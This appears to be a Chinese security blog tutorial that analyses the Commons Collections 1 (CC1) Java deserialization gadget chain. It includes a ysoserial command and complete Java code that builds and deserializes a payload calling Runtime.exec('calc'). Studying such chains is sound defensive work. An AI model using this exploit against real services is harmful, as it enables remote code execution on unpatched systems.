【java安全】反序列化 - CC1链

java安全-反序列化-CC1链

CC1 是「Commons Collections 1」的简称,是 Java 反序列化漏洞中最经典、最基础 的利用链,核心利用 Apache Commons Collections 3.x(≤3.2.1)的漏洞,结合 JDK 自身的类(如 AnnotationInvocationHandler),实现反序列化触发任意代码执行。

前提:

CC1 链能生效的两个必要条件(缺一不可):

依赖 / 环境 要求 原因
Commons Collections 版本 3.2.1(≤3.2.1) 3.2.2 及以上修复了InvokerTransformer的反射调用限制(COLLECTIONS-580)
JDK 版本 8u71 及以下(如 8u65、8u71) 8u71 + 修复了AnnotationInvocationHandlerreadObject触发逻辑(JDK-8145066)

一、准备工作

首先导入依赖commons-collections

XML 复制代码
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

下载jdk1.8u65版本

地址:Java 存档下载 --- Java SE 8 | Oracle 中国

记得不要开翻译,不然点击该版本下载链接会下载到其他版本的jdk

下载sun包源码:

jdk8u/jdk8u/jdk: af660750b2f4 /

将下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65/src(需手动解压src.zip)里

在项目的结构的SDK中的源路径添加刚刚的src目录

下载commons-collections 3.2.1源码:Apache Archive Distribution Directory

将源码解压保存在本地的maven-repo仓库

来到项目,左边随便选择一个commons-collections库的文件,点击右上角的选择源

选择刚刚解压的源码目录即可

二、触发示例

使用ysoserial工具生成cc1链执行calc命令,并保存链到cc1.ser文件内

shell 复制代码
java.exe -jar ysoserial-all.jar CommonsCollections1 calc > cc1.ser

创建一个测试类,写入反序列化指定文件方法deserialize

java 复制代码
package com.qdy;

import java.io.*;

public class CC1Debug {
    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }

    public static Object deserialize(String file) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        Object o = ois.readObject();
        return o;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        deserialize("cc1.ser");
    }
}

将刚刚生成的恶意文件放入项目根路径后执行以上代码

成功执行指定命令calc

三、链分析

复制代码
InvokerTransformer.transform-》TransformedMap.checkSetValue-》AbstractInputCheckedMapDecorator$MapEntry.setValue-》AnnotationInvocationHandler.readObject

1、InvokerTransformer.transform

InvokerTransformer.transform源码如下

红框中的三行代码实现了类反射

java 复制代码
Class cls = input.getClass();  // 获取对象的类
Method method = cls.getMethod(iMethodName, iParamTypes); // 获取对象类的指定方法
return method.invoke(input, iArgs); // 对指定方法传入值

如果input、iMethodName、iParamTypes、iArgs这四个变量可控的话,即可实现执行任意类的方法

input是InvokerTransformer.transform方法传入的参数,可控

其他三个参数是构造方法传入的参数,也是可控的

按照如上分析可以构造如下代码,实现执行命令

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1Debug {

    public static void main(String[] args) {
        // 传入方法名、方法对应需要传入的类型、命令
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        // 传入对象
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

接下来找一下谁调用了InvokerTransformer.transform

可以发现有80多个结果,不过TransformedMap.checkSetValue才是可控的

2、TransformedMap.checkSetValue

TransformedMap.checkSetValue会调用valueTransformer.transform(value)方法

其中valueTransformer值来源于构造函数,是可控的

然后decorate方法调用了构造方法

但是这样还是没办法调用到checkSetValue方法,查看调用该方法的地方仅有一个

AbstractInputCheckedMapDecorator.MapEntry.setValue

AbstractInputCheckedMapDecorator 类继承AbstractMapDecorator ,而AbstractMapDecorator 实现了接口Map

所以我们想要调用setValue ,直接使用MapentrySet()方法遍历即可使用setValue方法即可

构造这里的链

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1Debug {

    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        HashMap hashMap = new HashMap();
        hashMap.put("a", "b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        // 拿到所有键值对条目:为了调用每个条目的setValue
        for (Map.Entry entry : transformedMap.entrySet()) {
            entry.setValue(Runtime.getRuntime());
        }
    }
}

这样就成功利用InvokerTransformer.transform <- TransformedMap.checkSetValue链

接下来就是找入口,查找哪里存在重写了readObject方法的同时调用了setValue方法

3、AnnotationInvocationHandler.readObject

AnnotationInvocationHandler 类就重写了readObject方法,并且调用了steValue方法,所以就以这个类为入口

可以发现memberValues也是可控的,是由构造函数传入的

使用类反射加上前面的代码构造利用链

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1Debug {
    public static void serialize (Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
        oos.writeObject(obj);
    }
    public static void deserialize () throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.ser"));
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );

//        invokerTransformer.transform(Runtime.getRuntime());
        HashMap hashMap = new HashMap();
        hashMap.put("a","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null, invokerTransformer);
        transformedMap.put("xxx",Runtime.getRuntime());
        // 获取类
        Class classAih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor constructor = classAih.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true); // 关闭私有构造的访问检查,允许反射创建实例
        // 实例化
        Object obj = constructor.newInstance(Override.class,transformedMap);
        // 序列化
        serialize(obj);
        // 反序列化
        deserialize();
    }

}
相关推荐
零度@1 天前
Java消息中间件-Kafka全解(2026精简版)
java·kafka·c#·linq
钱多多_qdd1 天前
springboot注解(二)
java·spring boot·后端
Cosmoshhhyyy1 天前
《Effective Java》解读第32条:谨慎并用泛型和可变参数
java·python
帅气的你1 天前
面向Java程序员的思维链(CoT)提示词写法学习指南
java
一只小小Java1 天前
Java面试场景高频题
java·开发语言·面试
沛沛老爹1 天前
Web开发者快速上手AI Agent:基于Function Calling的12306自动订票系统实战
java·人工智能·agent·web转型
Ljubim.te1 天前
inline介绍,宏定义的注意事项以及nullptr
c语言·开发语言·c++
CRUD酱1 天前
后端使用POI解析.xlsx文件(附源码)
java·后端
亓才孓1 天前
多态:编译时看左边,运行时看右边
java·开发语言